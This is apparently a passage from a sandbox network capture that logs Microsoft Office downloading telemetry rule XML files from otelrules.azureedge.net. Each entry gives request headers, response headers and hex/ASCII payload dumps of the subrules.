2024-11-18 23:02:22 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49843	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:23 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:23 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0269dba3-501e-0035-248e-37c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230223Z-16547b76f7fwm7vghC1DFW900s0000000430000000007fmk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:23 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49844	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:23 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:23 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 4163e43d-001e-0049-7f9d-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230223Z-164f84587bfdfkt7hC1DFW4fas00000004cg00000000z81q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:23 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49845	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:23 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:23 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: a5808a03-d01e-002b-349b-3825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230223Z-16547b76f7fqqjnnhC1DFWxv7400000004rg00000000k7vk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:23 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49846	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:23 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 200f6d4e-701e-003e-2fb8-3779b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230223Z-16547b76f7ftfv4jhC1DFWuhug000000042g00000000bee6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49847	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:23 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:23 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 29bacf30-101e-005a-49fa-39882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230223Z-r18f44ddb69clgzfhC1DFWcnwc00000000h000000000dp8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:23 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49848	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:23 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:24 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 1b9ad89e-601e-0070-2704-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230224Z-r18f44ddb695qphdhC1DFWpmx800000000kg000000001x8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:24 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49849	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:24 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230224Z-16547b76f7fzwxm2hC1DFWt5hw000000042000000000c52p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49850	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:24 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230224Z-16547b76f7f2b5qzhC1DFWeag400000004h0000000012n69 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49851	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:24 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230224Z-16547b76f7fkf5v9hC1DFW2y5s000000069000000000s5c4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49852	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:24 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230224Z-16547b76f7f2b5qzhC1DFWeag400000004r00000000074wf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49853	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:24 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:24 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230224Z-16547b76f7f7zzl8hC1DFWmtag00000005cg000000008e3n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:24 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49854	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:25 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
